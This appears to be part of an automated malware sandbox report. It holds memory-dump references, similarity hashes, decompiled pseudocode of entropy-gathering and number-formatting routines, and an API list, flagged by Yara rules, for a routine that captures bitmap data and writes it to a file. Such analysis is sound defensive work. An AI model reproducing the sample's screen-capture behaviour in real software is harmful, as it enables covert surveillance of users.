                          • _wcsstr.LIBCMT ref: 6D4C29C4
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindow_wcsstr
                          • String ID: Service-0x$_OPENSSL_isservice
                          • API String ID: 304827962-1672312481
                          • Opcode ID: f9ebc445f99f2f03c7969669e9821e6a18ece46c5e77af00d97dad97e7d98724
                          • Instruction ID: f234fe4b813ebfb313389b6207c6780c7ca8943c21d7fcff03b7cab9dc7442aa
                          • Opcode Fuzzy Hash: f9ebc445f99f2f03c7969669e9821e6a18ece46c5e77af00d97dad97e7d98724
                          • Instruction Fuzzy Hash: DE31DB35A00209ABDF34CF69DC85BAE77B4EF46324F220255E926E76C0EF719D048691
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 38%
                          			E6D4CD9D5(void* __ebx, void* __edx) {
                          				intOrPtr* _t87;
                          				void* _t142;
                          				void* _t147;
                          				intOrPtr _t148;
                          				void* _t149;
                          				intOrPtr _t151;
                          				void* _t152;
                          				void* _t153;
                          				intOrPtr _t154;
                          				signed int _t155;
                          				intOrPtr _t157;
                          
                          				_t147 = __edx;
                          				_t157 =  *((intOrPtr*)(_t155 - 0x18));
                          				_t151 =  *((intOrPtr*)(_t155 - 0x404)) - 1;
                          				 *((intOrPtr*)(_t155 - 0x404)) = _t151;
                          				 *((intOrPtr*)(_t155 - 4)) = 0xfffffffe;
                          				_t148 =  *((intOrPtr*)(_t155 - 0x42c));
                          				 *((intOrPtr*)(_t155 - 0x3fc)) =  *((intOrPtr*)(_t155 - 0x414));
                          				while(1) {
                          					_push(_t155 - 0x6c);
                          					_push( *((intOrPtr*)(_t155 - 0x400)));
                          					if( *((intOrPtr*)(_t155 - 0x40c))() == 0 || _t148 != 0 && GetTickCount() -  *((intOrPtr*)(_t155 - 0x3fc)) >= 0x3e8 || _t151 <= 0) {
                          						break;
                          					}
                          					E6D51FEE0(8);
                          					asm("movsd xmm0, [0x6d543190]");
                          					asm("movsd [esp], xmm0");
                          					E6D4C3C90(_t148, _t151, _t155 - 0x6c,  *((intOrPtr*)(_t155 - 0x6c)));
                          					_t157 = _t157 + 0x10;
                          					asm("wait");
                          					 *((intOrPtr*)(_t155 - 4)) = 0;
                          					asm("xorps xmm0, xmm0");
                          					asm("movdqu [ebp-0x46c], xmm0");
                          					asm("movdqu [ebp-0x45c], xmm0");
                          					 *((intOrPtr*)(_t155 - 0x44c)) = 0;
                          					 *((intOrPtr*)(_t155 - 0x46c)) = 0x24;
                          					_push( *((intOrPtr*)(_t155 - 0x64)));
                          					_push( *((intOrPtr*)(_t155 - 0x68)));
                          					_push(_t155 - 0x46c);
                          					if( *((intOrPtr*)(_t155 - 0x420))() != 0) {
                          						_t154 = 0x50;
                          						 *((intOrPtr*)(_t155 - 0x444)) = 0x50;
                          						while(1) {
                          							E6D51FEE0(8);
                          							asm("movsd xmm0, [0x6d543198]");
                          							asm("movsd [esp], xmm0");
                          							E6D4C3C90(_t148, _t154, _t155 - 0x46c,  *((intOrPtr*)(_t155 - 0x46c)));
                          							_t157 = _t157 + 0x10;
                          							_push(_t155 - 0x46c);
                          							if( *((intOrPtr*)(_t155 - 0x418))() == 0 || _t148 != 0 && GetTickCount() -  *((intOrPtr*)(_t155 - 0x3fc)) >= 0x3e8) {
                          								break;
                          							}
                          							_t154 = _t154 - 1;
                          							 *((intOrPtr*)(_t155 - 0x444)) = _t154;
                          							if(_t154 > 0) {
                          								continue;
                          							}
                          							break;
                          						}
                          						_t151 =  *((intOrPtr*)(_t155 - 0x404));
                          					}
                          					asm("wait");
                          					 *((intOrPtr*)(_t155 - 4)) = 0xfffffffe;
                          				}
                          				 *((intOrPtr*)(_t155 - 0x1d4)) = 0x128;
                          				_t152 = GetTickCount;
                          				if(_t148 != 0) {
                          					 *((intOrPtr*)(_t155 - 0x3fc)) = GetTickCount();
                          				}
                          				_push(_t155 - 0x1d4);
                          				_push( *((intOrPtr*)(_t155 - 0x400)));
                          				if( *((intOrPtr*)(_t155 - 0x43c))() != 0) {
                          					do {
                          						E6D51FEE0(8);
                          						asm("movsd xmm0, [0x6d5431a8]");
                          						asm("movsd [esp], xmm0");
                          						E6D4C3C90(_t148, _t152, _t155 - 0x1d4,  *((intOrPtr*)(_t155 - 0x1d4)));
                          						_t157 = _t157 + 0x10;
                          						_push(_t155 - 0x1d4);
                          						_push( *((intOrPtr*)(_t155 - 0x400)));
                          					} while ( *((intOrPtr*)(_t155 - 0x434))() != 0 && (_t148 == 0 || GetTickCount() -  *((intOrPtr*)(_t155 - 0x3fc)) < 0x3e8));
                          				}
                          				 *((intOrPtr*)(_t155 - 0x8c)) = 0x1c;
                          				if(_t148 != 0) {
                          					 *((intOrPtr*)(_t155 - 0x3fc)) = GetTickCount();
                          				}
                          				_push(_t155 - 0x8c);
                          				_push( *((intOrPtr*)(_t155 - 0x400)));
                          				if( *((intOrPtr*)(_t155 - 0x438))() != 0) {
                          					do {
                          						E6D51FEE0(8);
                          						asm("movsd xmm0, [0x6d5431a0]");
                          						asm("movsd [esp], xmm0");
                          						E6D4C3C90(_t148, _t152, _t155 - 0x8c,  *((intOrPtr*)(_t155 - 0x8c)));
                          						_t157 = _t157 + 0x10;
                          						_push(_t155 - 0x8c);
                          						_push( *((intOrPtr*)(_t155 - 0x400)));
                          					} while ( *((intOrPtr*)(_t155 - 0x428))() != 0 && (_t148 == 0 || GetTickCount() -  *((intOrPtr*)(_t155 - 0x3fc)) < 0x3e8));
                          				}
                          				 *((intOrPtr*)(_t155 - 0x3f8)) = 0x224;
                          				if(_t148 != 0) {
                          					 *((intOrPtr*)(_t155 - 0x3fc)) = GetTickCount();
                          				}
                          				_push(_t155 - 0x3f8);
                          				_push( *((intOrPtr*)(_t155 - 0x400)));
                          				if( *((intOrPtr*)(_t155 - 0x410))() != 0) {
                          					do {
                          						E6D51FEE0(8);
                          						asm("movsd xmm0, [0x6d5431a8]");
                          						asm("movsd [esp], xmm0");
                          						E6D4C3C90(_t148, _t152, _t155 - 0x3f8,  *((intOrPtr*)(_t155 - 0x3f8)));
                          						_t157 = _t157 + 0x10;
                          						_push(_t155 - 0x3f8);
                          						_push( *((intOrPtr*)(_t155 - 0x400)));
                          					} while ( *((intOrPtr*)(_t155 - 0x440))() != 0 && (_t148 == 0 || GetTickCount() -  *((intOrPtr*)(_t155 - 0x3fc)) < 0x3e8));
                          				}
                          				_t87 =  *((intOrPtr*)(_t155 - 0x448));
                          				_push( *((intOrPtr*)(_t155 - 0x400)));
                          				if(_t87 == 0) {
                          					CloseHandle();
                          				} else {
                          					 *_t87();
                          				}
                          				FreeLibrary( *(_t155 - 0x408));
                          				E6D4CDC80(_t148, _t152);
                          				GlobalMemoryStatus(_t155 - 0xac);
                          				E6D51FEE0(8);
                          				asm("movsd xmm0, [0x6d532eb8]");
                          				asm("movsd [esp], xmm0");
                          				E6D4C3C90(_t148, _t152, _t155 - 0xac, 0x20);
                          				 *((intOrPtr*)(_t155 - 0x430)) = GetCurrentProcessId();
                          				E6D51FEE0(8);
                          				asm("movsd xmm0, [0x6d532eb8]");
                          				asm("movsd [esp], xmm0");
                          				E6D4C3C90(_t148, _t152, _t155 - 0x430, 4);
                          				 *[fs:0x0] =  *((intOrPtr*)(_t155 - 0x10));
                          				_pop(_t149);
                          				_pop(_t153);
                          				_pop(_t142);
                          				return E6D51FED0(_t142,  *(_t155 - 0x1c) ^ _t155, _t147, _t149, _t153);
                          			}














                          0x6d4cd9d5
                          0x6d4cd9d5
                          0x6d4cd9de
                          0x6d4cd9df
                          0x6d4cd9e5
                          0x6d4cd9ec
                          0x6d4cd9f8
                          0x6d4cd9fe
                          0x6d4cda01
                          0x6d4cda02
                          0x6d4cda10
                          0x00000000
                          0x00000000
                          0x6d4cd8e5
                          0x6d4cd8ea
                          0x6d4cd8f2
                          0x6d4cd8fe
                          0x6d4cd903
                          0x6d4cd906
                          0x6d4cd907
                          0x6d4cd90e
                          0x6d4cd911
                          0x6d4cd919
                          0x6d4cd921
                          0x6d4cd92b
                          0x6d4cd935
                          0x6d4cd938
                          0x6d4cd941
                          0x6d4cd94a
                          0x6d4cd94c
                          0x6d4cd951
                          0x6d4cd960
                          0x6d4cd965
                          0x6d4cd96a
                          0x6d4cd972
                          0x6d4cd984
                          0x6d4cd989
                          0x6d4cd992
                          0x6d4cd99b
                          0x00000000
                          0x00000000
                          0x6d4cd9b4
                          0x6d4cd9b5
                          0x6d4cd9bd
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cd9bd
                          0x6d4cd9bf
                          0x6d4cd9bf
                          0x6d4cd9c5
                          0x6d4cd9c6
                          0x6d4cd9c6
                          0x6d4cda31
                          0x6d4cda3b
                          0x6d4cda43
                          0x6d4cda47
                          0x6d4cda47
                          0x6d4cda53
                          0x6d4cda54
                          0x6d4cda62
                          0x6d4cda64
                          0x6d4cda69
                          0x6d4cda6e
                          0x6d4cda76
                          0x6d4cda88
                          0x6d4cda8d
                          0x6d4cda96
                          0x6d4cda97
                          0x6d4cdaa3
                          0x6d4cda64
                          0x6d4cdaba
                          0x6d4cdac6
                          0x6d4cdaca
                          0x6d4cdaca
                          0x6d4cdad6
                          0x6d4cdad7
                          0x6d4cdae5
                          0x6d4cdaf0
                          0x6d4cdaf5
                          0x6d4cdafa
                          0x6d4cdb02
                          0x6d4cdb14
                          0x6d4cdb19
                          0x6d4cdb22
                          0x6d4cdb23
                          0x6d4cdb2f
                          0x6d4cdaf0
                          0x6d4cdb46
                          0x6d4cdb52
                          0x6d4cdb56
                          0x6d4cdb56
                          0x6d4cdb62
                          0x6d4cdb63
                          0x6d4cdb71
                          0x6d4cdb73
                          0x6d4cdb78
                          0x6d4cdb7d
                          0x6d4cdb85
                          0x6d4cdb97
                          0x6d4cdb9c
                          0x6d4cdba5
                          0x6d4cdba6
                          0x6d4cdbb2
                          0x6d4cdb73
                          0x6d4cdbc9
                          0x6d4cdbcf
                          0x6d4cdbd7
                          0x6d4cdbdd
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbe9
                          0x6d4cdbef
                          0x6d4cdbfb
                          0x6d4cdc06
                          0x6d4cdc0b
                          0x6d4cdc13
                          0x6d4cdc21
                          0x6d4cdc2f
                          0x6d4cdc3a
                          0x6d4cdc3f
                          0x6d4cdc47
                          0x6d4cdc55
                          0x6d4cdc65
                          0x6d4cdc6d
                          0x6d4cdc6e
                          0x6d4cdc6f
                          0x6d4cdc7d

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CountTick
                          • String ID:
                          • API String ID: 536389180-0
                          • Opcode ID: 67c01719b0c1fd8a312e9f06c48c4b4d7ea24b531d772cf3bdbf750ed4b0fb19
                          • Instruction ID: c0f32c13c2bc67dfd2c3dc3af45e55f3446fc9da283f1ecf289f904e5188ceb9
                          • Opcode Fuzzy Hash: 67c01719b0c1fd8a312e9f06c48c4b4d7ea24b531d772cf3bdbf750ed4b0fb19
                          • Instruction Fuzzy Hash: FD613E79D4462A9BEF219F64CD44BADB779FF85304F0141E5EA1DA7240EB318E808F62
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetObjectW.GDI32(?,00000018,?,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4C52
                          • LocalAlloc.KERNEL32(00000040,00000001,00000000,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4CAE
                          • GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4D0D
                          • GetDIBits.GDI32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 029A4D2C
                          • CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4D4C
                          • WriteFile.KERNEL32(00000000,?,0000000E,?,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4D99
                          • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4DB6
                          • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,029A50CA,?,00000000,00000000), ref: 029A4DCE
                          • GlobalFree.KERNEL32(00000000), ref: 029A4DE8
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: File$Write$AllocGlobal$BitsCreateFreeLocalObject
                          • String ID:
                          • API String ID: 351847640-0
                          • Opcode ID: 5116880a0caee39aa520eb0d90fe680a3cda181a2a6ed82a75cca9447cde58a8
                          • Instruction ID: 1f0b767cf4121db0d9fbad7131ef0f6c256471cd175a963b7ae81dfa598874c5
                          • Opcode Fuzzy Hash: 5116880a0caee39aa520eb0d90fe680a3cda181a2a6ed82a75cca9447cde58a8
                          • Instruction Fuzzy Hash: EA51BF75A00309ABD7209FA5DDA5FABB7FCEF48714F005519F989D7680E7B0A901CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 92%
                          			E6D4C69E0(signed int _a4, signed int _a8, signed int _a12, char* _a16, char* _a20, signed int _a56, intOrPtr _a64, signed char _a68, signed int _a72, signed int _a76, signed int _a80, signed int _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, signed char _a100) {
                          				intOrPtr _v0;
                          				char _v4;
                          				char _v8;
                          				char _v12;
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				signed int _t105;
                          				intOrPtr _t111;
                          				signed int _t112;
                          				signed int _t114;
                          				signed int _t115;
                          				signed int _t117;
                          				signed int _t118;
                          				signed int _t120;
                          				signed int _t123;
                          				signed int _t124;
                          				intOrPtr _t125;
                          				signed char _t131;
                          				void* _t137;
                          				char _t140;
                          				void* _t141;
                          				void* _t142;
                          				void* _t144;
                          				char* _t146;
                          				void* _t147;
                          				void* _t148;
                          				signed int _t152;
                          				intOrPtr* _t154;
                          				intOrPtr _t155;
                          				void* _t157;
                          				signed char _t158;
                          				intOrPtr _t159;
                          				signed char _t161;
                          				signed int _t164;
                          				intOrPtr* _t167;
                          				void* _t168;
                          				intOrPtr _t170;
                          				intOrPtr* _t171;
                          				signed int _t178;
                          				void* _t179;
                          				char _t180;
                          				intOrPtr _t181;
                          				signed int _t182;
                          				signed int _t184;
                          				signed int _t188;
                          				intOrPtr* _t189;
                          				void* _t190;
                          				void* _t191;
                          				signed int _t196;
                          				intOrPtr _t199;
                          				char* _t200;
                          				signed int _t201;
                          				signed int _t206;
                          				void* _t211;
                          				intOrPtr _t218;
                          
                          				E6D51FEE0(0x3c);
                          				_t105 =  *0x6d57db60; // 0xa6c7de91
                          				_a56 = _t105 ^ _t201;
                          				_t159 = _a96;
                          				_t152 = _a80;
                          				_t199 = _a64;
                          				_a8 = _a68;
                          				_a4 = _a72;
                          				_a12 = _a76;
                          				_t182 = 0;
                          				_a16 = 0x6d532c17;
                          				_v0 = 0;
                          				_t160 =  <  ? 0 : _t159;
                          				_t178 = _a84;
                          				_a96 =  <  ? 0 : _t159;
                          				_t161 = _a100;
                          				if((_t161 & 0x00000040) == 0) {
                          					_t206 = _t178;
                          					if(_t206 > 0 || _t206 >= 0 && _t152 >= 0) {
                          						__eflags = _t161 & 0x00000002;
                          						if((_t161 & 0x00000002) == 0) {
                          							__eflags = _t161 & 0x00000004;
                          							_v0 = 0x20;
                          							_t151 =  !=  ? _v0 : 0;
                          							_v0 =  !=  ? _v0 : 0;
                          						} else {
                          							_v0 = 0x2b;
                          						}
                          					} else {
                          						_t152 =  ~_t152;
                          						_v0 = 0x2d;
                          						asm("adc edx, eax");
                          						_t178 =  ~_t178;
                          					}
                          				}
                          				_t111 = _a88;
                          				if((_t161 & 0x00000008) != 0) {
                          					if(_t111 != 8) {
                          						__eflags = _a88 - 0x10;
                          						_t150 =  !=  ? 0x6d532c17 : "0x";
                          						_a16 =  !=  ? 0x6d532c17 : "0x";
                          						_t111 = _a88;
                          					} else {
                          						_a16 = "0";
                          					}
                          				}
                          				_a20 = "0123456789abcdef";
                          				_t187 =  !=  ? 1 : _t182;
                          				_t211 =  !=  ? 1 : _t182;
                          				_t37 =  &_a20; // 0x6d532e70
                          				_t164 =  ==  ?  *_t37 : "0123456789ABCDEF";
                          				_t188 = _t164;
                          				while(1) {
                          					_t112 = E6D521B10(_t152, _t178, _t111, 0);
                          					_a8 = _t152;
                          					_t152 = _t112;
                          					 *((char*)(_t201 + _t182 + 0x2c)) =  *((intOrPtr*)(_t164 + _t188));
                          					_t182 = _t182 + 1;
                          					_t164 = _t152 | _t178;
                          					if(_t164 == 0) {
                          						break;
                          					}
                          					_t111 = _a88;
                          					if(_t182 < 0x1a) {
                          						continue;
                          					}
                          					break;
                          				}
                          				_t189 = _a16;
                          				if(_t182 != 0x1a) {
                          					if(__eflags >= 0) {
                          						E6D5217B0();
                          						asm("int3");
                          						asm("int3");
                          						asm("int3");
                          						_t114 = _a4;
                          						_push(_t152);
                          						_push(_t199);
                          						_push(_t189);
                          						_t190 = 0;
                          						__eflags = _t114;
                          						_push(_t182);
                          						_t154 =  !=  ? _t114 : "<NULL>";
                          						_t167 = _t154;
                          						_t179 = _t167 + 1;
                          						do {
                          							_t115 =  *_t167;
                          							_t167 = _t167 + 1;
                          							__eflags = _t115;
                          						} while (_t115 != 0);
                          						_t168 = _t167 - _t179;
                          						__eflags = _t168 - 0x7fffffff;
                          						_t169 =  >  ? 0x7fffffff : _t168;
                          						_t117 = _a12;
                          						_t184 = _t117 - ( >  ? 0x7fffffff : _t168);
                          						__eflags = _t117;
                          						if(_t117 < 0) {
                          							L51:
                          							_t184 = 0;
                          							__eflags = 0;
                          						} else {
                          							__eflags = _t184;
                          							if(_t184 < 0) {
                          								goto L51;
                          							}
                          						}
                          						__eflags = _a8 & 0x00000001;
                          						if((_a8 & 0x00000001) != 0) {
                          							_t184 =  ~_t184;
                          						}
                          						_t200 = _a16;
                          						_t170 = _v0;
                          						_t180 = _v4;
                          						__eflags = _t184;
                          						if(_t184 <= 0) {
                          							L59:
                          							_t118 =  *_t154;
                          							__eflags = _t118;
                          							if(_t118 == 0) {
                          								L63:
                          								__eflags = _t184;
                          								if(_t184 >= 0) {
                          									L68:
                          									return 1;
                          								} else {
                          									_t155 = _v0;
                          									while(1) {
                          										__eflags = _t190 - _t200;
                          										if(_t190 >= _t200) {
                          											goto L68;
                          										}
                          										_t100 =  &_v4; // 0x6d532e70
                          										_t120 = E6D4C6520(_v12, _v8,  *_t100, _t155, 0x20);
                          										_t201 = _t201 + 0x14;
                          										__eflags = _t120;
                          										if(_t120 == 0) {
                          											goto L69;
                          										} else {
                          											_t190 = _t190 + 1;
                          											_t184 = _t184 + 1;
                          											__eflags = _t184;
                          											if(_t184 < 0) {
                          												continue;
                          											} else {
                          												goto L68;
                          											}
                          										}
                          										goto L70;
                          									}
                          									goto L68;
                          								}
                          							} else {
                          								while(1) {
                          									__eflags = _t190 - _t200;
                          									if(_t190 >= _t200) {
                          										goto L63;
                          									}
                          									_t95 =  &_v8; // 0x6d532e70
                          									_t123 = E6D4C6520(_v12,  *_t95, _t180, _t170, _t118);
                          									_t201 = _t201 + 0x14;
                          									_t154 = _t154 + 1;
                          									__eflags = _t123;
                          									if(_t123 == 0) {
                          										goto L69;
                          									} else {
                          										_t118 =  *_t154;
                          										_t190 = _t190 + 1;
                          										_t170 = _v0;
                          										_t180 = _v4;
                          										__eflags = _t118;
                          										if(_t118 != 0) {
                          											continue;
                          										} else {
                          											goto L63;
                          										}
                          									}
                          									goto L70;
                          								}
                          								goto L63;
                          							}
                          						} else {
                          							while(1) {
                          								__eflags = _t190 - _t200;
                          								if(_t190 >= _t200) {
                          									goto L59;
                          								}
                          								_t91 =  &_v8; // 0x6d532e70
                          								_t92 =  &_v12; // 0x6d532e70
                          								_t124 = E6D4C6520( *_t92,  *_t91, _t180, _t170, 0x20);
                          								_t201 = _t201 + 0x14;
                          								__eflags = _t124;
                          								if(_t124 == 0) {
                          									L69:
                          									__eflags = 0;
                          									return 0;
                          								} else {
                          									_t170 = _v0;
                          									_t184 = _t184 - 1;
                          									_t180 = _v4;
                          									_t190 = _t190 + 1;
                          									__eflags = _t184;
                          									if(_t184 > 0) {
                          										continue;
                          									} else {
                          										goto L59;
                          									}
                          								}
                          								goto L70;
                          							}
                          							goto L59;
                          						}
                          					} else {
                          						goto L18;
                          					}
                          				} else {
                          					_t182 = 0x19;
                          					L18:
                          					_t181 = _a96;
                          					_t171 = _t189;
                          					 *((char*)(_t201 + _t182 + 0x2c)) = 0;
                          					_t157 = _t181 - _t182;
                          					_t191 = _t171 + 1;
                          					do {
                          						_t125 =  *_t171;
                          						_t171 = _t171 + 1;
                          					} while (_t125 != 0);
                          					_t127 =  >=  ? _t181 : _t182;
                          					_t193 = _a92 - ( >=  ? _t181 : _t182);
                          					_t218 = _v0;
                          					_t194 = _a92 - ( >=  ? _t181 : _t182) - (_t218 != 0);
                          					_t158 =  <  ? 0 : _t157;
                          					_t195 = _a92 - ( >=  ? _t181 : _t182) - (_t218 != 0) - _t171 - _t191;
                          					_t196 =  <  ? 0 : _a92 - ( >=  ? _t181 : _t182) - (_t218 != 0) - _t171 - _t191;
                          					_t131 = _a100;
                          					if((_t131 & 0x00000010) != 0) {
                          						_t197 =  >=  ? _t158 : _t196;
                          						_t158 =  >=  ? _t158 : _t196;
                          						_t196 = 0;
                          					}
                          					if((_t131 & 0x00000001) != 0) {
                          						_t196 =  ~_t196;
                          					}
                          					if(_t196 <= 0) {
                          						L28:
                          						_t132 = _v0;
                          						if(_v0 == 0) {
                          							L30:
                          							_t134 =  *_a16;
                          							if( *_a16 == 0) {
                          								L33:
                          								if(_t158 <= 0) {
                          									L37:
                          									_t158 = _a8;
                          									if(_t182 <= 0) {
                          										L40:
                          										if(_t196 >= 0) {
                          											L44:
                          											return E6D51FED0(_t158, _a56 ^ _t201, _t181, _t182, _t196);
                          										} else {
                          											while(1) {
                          												_t137 = E6D4C6520(_t199, _t158, _a4, _a12, 0x20);
                          												_t201 = _t201 + 0x14;
                          												if(_t137 == 0) {
                          													goto L45;
                          												}
                          												_t196 = _t196 + 1;
                          												if(_t196 < 0) {
                          													continue;
                          												} else {
                          													goto L44;
                          												}
                          												goto L70;
                          											}
                          											goto L45;
                          										}
                          									} else {
                          										while(1) {
                          											_t140 =  *((char*)(_t201 + _t182 + 0x2b));
                          											_t182 = _t182 - 1;
                          											_t141 = E6D4C6520(_t199, _t158, _a4, _a12, _t140);
                          											_t201 = _t201 + 0x14;
                          											if(_t141 == 0) {
                          												goto L45;
                          											}
                          											if(_t182 > 0) {
                          												continue;
                          											} else {
                          												goto L40;
                          											}
                          											goto L70;
                          										}
                          										goto L45;
                          									}
                          								} else {
                          									while(1) {
                          										_t72 =  &_a8; // 0x6d532e70
                          										_t142 = E6D4C6520(_t199,  *_t72, _a4, _a12, 0x30);
                          										_t201 = _t201 + 0x14;
                          										if(_t142 == 0) {
                          											goto L45;
                          										}
                          										_t158 = _t158 - 1;
                          										if(_t158 > 0) {
                          											continue;
                          										} else {
                          											goto L37;
                          										}
                          										goto L70;
                          									}
                          									goto L45;
                          								}
                          							} else {
                          								while(1) {
                          									_t67 =  &_a8; // 0x6d532e70
                          									_t144 = E6D4C6520(_t199,  *_t67, _a4, _a12, _t134);
                          									_t201 = _t201 + 0x14;
                          									if(_t144 == 0) {
                          										goto L45;
                          									}
                          									_t146 =  &(_a16[1]);
                          									_a16 = _t146;
                          									_t134 =  *_t146;
                          									if( *_t146 != 0) {
                          										continue;
                          									} else {
                          										goto L33;
                          									}
                          									goto L70;
                          								}
                          								goto L45;
                          							}
                          						} else {
                          							_t63 =  &_a8; // 0x6d532e70
                          							_t147 = E6D4C6520(_t199,  *_t63, _a4, _a12, _t132);
                          							_t201 = _t201 + 0x14;
                          							if(_t147 == 0) {
                          								goto L45;
                          							} else {
                          								goto L30;
                          							}
                          						}
                          					} else {
                          						while(1) {
                          							_t59 =  &_a8; // 0x6d532e70
                          							_t148 = E6D4C6520(_t199,  *_t59, _a4, _a12, 0x20);
                          							_t201 = _t201 + 0x14;
                          							if(_t148 == 0) {
                          								break;
                          							}
                          							_t196 = _t196 - 1;
                          							if(_t196 > 0) {
                          								continue;
                          							} else {
                          								goto L28;
                          							}
                          							goto L70;
                          						}
                          						L45:
                          						__eflags = _a56 ^ _t201;
                          						return E6D51FED0(_t158, _a56 ^ _t201, _t181, _t182, _t196);
                          					}
                          				}
                          				L70:
                          			}



























































                          0x6d4c69e5
                          0x6d4c69ea
                          0x6d4c69f1
                          0x6d4c69fb
                          0x6d4c6a00
                          0x6d4c6a05
                          0x6d4c6a09
                          0x6d4c6a12
                          0x6d4c6a20
                          0x6d4c6a24
                          0x6d4c6a28
                          0x6d4c6a2e
                          0x6d4c6a32
                          0x6d4c6a35
                          0x6d4c6a39
                          0x6d4c6a3d
                          0x6d4c6a44
                          0x6d4c6a46
                          0x6d4c6a48
                          0x6d4c6a60
                          0x6d4c6a63
                          0x6d4c6a6f
                          0x6d4c6a72
                          0x6d4c6a7a
                          0x6d4c6a7f
                          0x6d4c6a65
                          0x6d4c6a65
                          0x6d4c6a65
                          0x6d4c6a50
                          0x6d4c6a50
                          0x6d4c6a52
                          0x6d4c6a5a
                          0x6d4c6a5c
                          0x6d4c6a5c
                          0x6d4c6a48
                          0x6d4c6a83
                          0x6d4c6a8a
                          0x6d4c6a8f
                          0x6d4c6a9c
                          0x6d4c6aa6
                          0x6d4c6aa9
                          0x6d4c6aad
                          0x6d4c6a91
                          0x6d4c6a96
                          0x6d4c6a96
                          0x6d4c6a8f
                          0x6d4c6ab4
                          0x6d4c6ac3
                          0x6d4c6acb
                          0x6d4c6acd
                          0x6d4c6acd
                          0x6d4c6ad2
                          0x6d4c6ad4
                          0x6d4c6ad9
                          0x6d4c6ade
                          0x6d4c6ae2
                          0x6d4c6ae7
                          0x6d4c6aed
                          0x6d4c6aee
                          0x6d4c6af0
                          0x00000000
                          0x00000000
                          0x6d4c6af2
                          0x6d4c6af9
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6af9
                          0x6d4c6afb
                          0x6d4c6b02
                          0x6d4c6b0b
                          0x6d4c6c98
                          0x6d4c6c9d
                          0x6d4c6c9e
                          0x6d4c6c9f
                          0x6d4c6ca0
                          0x6d4c6ca4
                          0x6d4c6ca5
                          0x6d4c6ca6
                          0x6d4c6ca7
                          0x6d4c6cae
                          0x6d4c6cb0
                          0x6d4c6cb1
                          0x6d4c6cb4
                          0x6d4c6cb6
                          0x6d4c6cc0
                          0x6d4c6cc0
                          0x6d4c6cc2
                          0x6d4c6cc3
                          0x6d4c6cc3
                          0x6d4c6cc7
                          0x6d4c6cce
                          0x6d4c6cd0
                          0x6d4c6cd3
                          0x6d4c6cd9
                          0x6d4c6cdb
                          0x6d4c6cdd
                          0x6d4c6ce3
                          0x6d4c6ce3
                          0x6d4c6ce3
                          0x6d4c6cdf
                          0x6d4c6cdf
                          0x6d4c6ce1
                          0x00000000
                          0x00000000
                          0x6d4c6ce1
                          0x6d4c6ce5
                          0x6d4c6cea
                          0x6d4c6cec
                          0x6d4c6cec
                          0x6d4c6cee
                          0x6d4c6cf2
                          0x6d4c6cf6
                          0x6d4c6cfa
                          0x6d4c6cfc
                          0x6d4c6d2a
                          0x6d4c6d2a
                          0x6d4c6d2c
                          0x6d4c6d2e
                          0x6d4c6d5e
                          0x6d4c6d5e
                          0x6d4c6d60
                          0x6d4c6d8c
                          0x6d4c6d92
                          0x6d4c6d62
                          0x6d4c6d62
                          0x6d4c6d66
                          0x6d4c6d66
                          0x6d4c6d68
                          0x00000000
                          0x00000000
                          0x6d4c6d6d
                          0x6d4c6d79
                          0x6d4c6d7e
                          0x6d4c6d81
                          0x6d4c6d83
                          0x00000000
                          0x6d4c6d85
                          0x6d4c6d85
                          0x6d4c6d86
                          0x6d4c6d86
                          0x6d4c6d87
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6d87
                          0x00000000
                          0x6d4c6d83
                          0x00000000
                          0x6d4c6d66
                          0x6d4c6d30
                          0x6d4c6d30
